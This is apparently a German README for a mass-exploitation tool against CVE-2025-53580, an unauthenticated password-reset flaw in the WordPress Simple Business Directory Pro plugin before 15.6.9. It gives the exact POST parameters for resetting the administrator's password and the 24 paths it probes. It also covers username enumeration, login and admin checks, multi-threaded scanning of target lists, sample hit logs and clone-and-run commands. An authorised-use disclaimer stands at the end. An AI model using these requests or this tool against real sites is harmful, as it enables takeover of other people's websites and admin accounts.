
WordPress Simple Business Directory Pro Plugin < 15.6.9 ist anfällig für eine hochprioritäre Privilege Escalation
WordPress Simple Business Directory Pro Plugin < 15.6.9 ist anfällig für eine Privilegienerweiterung mit hoher Priorität
___ _ ___ __ __ __ ____ ____ ___ ____ __ __
/ (_)(_| |_// (_) / )/ \/ )| | / \| / \ / \
| | | \__ /| | / |___ |___ __/|___ \__/| |
| | | / -----/ | |/ \----- \ \ \/ \| |
\___/ \_/ \___/ /___\__//___\___/ \___/\___/\___/\__/ \__/
Ursache:
Das Plugin stellt ein Frontend-Passwort-Wiederherstellungsformular (qcpd-restore-pwd) bereit, das eine numerische qcpd-uid (WordPress-Benutzer-ID) und einen neuen pass-Wert akzeptiert. Vor der Änderung des Passworts werden keine Authentifizierung, kein Token, kein Nonce und keine E-Mail-Verifizierung erzwungen. Ein nicht authentifizierter Angreifer kann das Passwort von Benutzer-ID 1 (in der Regel der Administrator der Website) und jedem anderen Benutzer durch das Senden einer einzigen POST-Anfrage zurücksetzen und sich dann mit dem injizierten Passwort anmelden, um vollen Admin-Zugriff zu erhalten.
┌─────────────────────────────────────────────────────────────────┐
│ 1. SBD-Wiederherstellungsseite entdecken │
│ 24 Kandidatenpfade testen → Body mit "sbd" abgleichen │
│ │
│ 2. Passwörter nach Benutzer-ID zurücksetzen │
│ POST <restore_url> │
│ qcpd-restore-pwd = restore │
│ qcpd-restore-pwd-type = user │
│ qcpd-uid = 1 (dann 2, dann 3) │
│ pass = NxploitedNX │
│ │
│ 3. Benutzernamen enumerieren │
│ /?author=1..9 → Weiterleitung / Body parsen │
│ /wp-json/wp/v2/users → slug / username-Felder │
│ Hostname-Heuristik + "admin" Fallback │
│ │
│ 4. Mit injiziertem Passwort anmelden │
│ POST /wp-login.php log=<user> pwd=NxploitedNX │
│ Prüfung: wordpress_logged_in Cookie vorhanden │
│ │
│ 5. Admin-Zugriff verifizieren (doppelte Methode) │
│ GET /wp-json/wp/v2/users/me → capabilities.manage_options│
│ GET /wp-admin/users.php → adminmenu / Benutzertabelle │
│ │
│ 6. Treffer bestätigt → Nx_sbd_login_hits.txt schreiben │
└─────────────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-53580.git
cd CVE-2025-53580
pip install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
colorama>=0.4.6
python3 CVE-2025-53580.py
Liste der Zieldateien (ein Host/URL pro Zeile) [list.txt]: list.txt
Threads (gleichzeitige Websites) [3]: 5
HTTP-Timeout (Sekunden) [10]: 10
Datei für erfolgreiche Treffer [Nx_sbd_login_hits.txt]: Nx_sbd_login_hits.txt
Das für alle Reset-Versuche injizierte Passwort ist intern festgelegt:
NxploitedNX
Pro Website anvisierte Benutzer-IDs:
1,2,3(konfigurierbar viaMAX_USER_ID)
list.txthttps://target1.com
target2.com
http://target3.com
Das Tool scannt 24 Pfade pro Ziel, um eine Seite zu finden, deren Body sbd enthält:
/login /log-in /signin /sign-in
/user-login /account/login /restore /password-reset
/reset-password /lost-password /lostpassword /user/restore
/my-account /members/login /member-login /customer-login
/wp-login.php /blog/login /auth/login /auth/restore
/sbd-login /sbd-restore /blog/log-in /account/log-in
Jeder erfolgreiche Login wird durch zwei unabhängige Prüfungen verifiziert, bevor er auf die Festplatte geschrieben wird:
Methode 1 — REST-API:
GET /wp-json/wp/v2/users/me
→ capabilities.manage_options = true → ADMIN BESTÄTIGT
Methode 2 — Dashboard:
GET /wp-admin/users.php
→ adminmenu / Markierungen der Benutzertabelle vorhanden → ADMIN BESTÄTIGT
Nx_sbd_login_hits.txt
[2025-06-01 14:22:10] https://target.com - type=ADMIN - user=admin
- login=/wp-login.php user=admin pass=NxploitedNX
- detail=ADMIN_CONFIRMED_REST(manage_options)
[2025-06-01 14:23:05] https://target2.com - type=USER - user=editor
- login=/wp-login.php user=editor pass=NxploitedNX
- detail=not_admin(rest_no_manage_options, wpadmin_no_strong_markers)
[info] https://target.com :: starte
[ok] https://target.com :: Frontend-SBD-Seite gefunden unter https://target.com/my-account
[info] https://target.com :: starte qcpd-uid=1..3 Brute-Force mit pass=NxploitedNX
[info] https://target.com :: POST uid=1 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: POST uid=2 → status=302, Location=/my-account/?restored=1
[info] https://target.com :: extrahiere Benutzernamen und versuche Login
[ok] https://target.com :: Login erfolgreich für user='admin', prüfe Admin...
[ok] https://target.com :: TREFFER für user='admin' → admin=True,
detail=ADMIN_CONFIRMED_REST(manage_options)
[warn] https://target2.com :: keine SBD-Seite in den Kandidaten-Wiederherstellungspfaden gefunden, überspringe
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
NUR FÜR AUTORISIERTE SICHERHEITSFORSCHUNG UND BILDUNGSZWECKE.
Der Autor übernimmt keine Verantwortung für die Nutzung gegen Systeme,
die der Bediener nicht besitzt oder für die er keine ausdrückliche schriftliche Genehmigung zum Testen hat.
Unbefugte Nutzung verstößt gegen das CFAA, das CMA und gleichwertige Gesetze weltweit.
Sie allein sind für Ihre Handlungen verantwortlich.
© 2025 Nxploited · Simple Business Directory Pro < 15.6.9 · Behoben in 15.6.9
| Feld | Detail |
|---|
| CVE | CVE-2025-53580 |
| Plugin | quantumcloud Simple Business Directory Pro (simple-business-directory-pro) |
| Betroffen | Alle Versionen < 15.6.9 |
| Authentifizierung | Keine erforderlich |
| Typ | Falsche Privilegzuweisung → Nicht authentifizierter Passwort-Reset |
| CWE | CWE-266 · Falsche Privilegzuweisung |
| Methode | Endpunkt |
|---|
| Author-Weiterleitung | /?author=1 → /?author=9 |
| REST-API | /wp-json/wp/v2/users → slug + username |
| Hostname-Heuristik | Erster Label der Domain |
| Fest codierter Fallback | admin immer enthalten |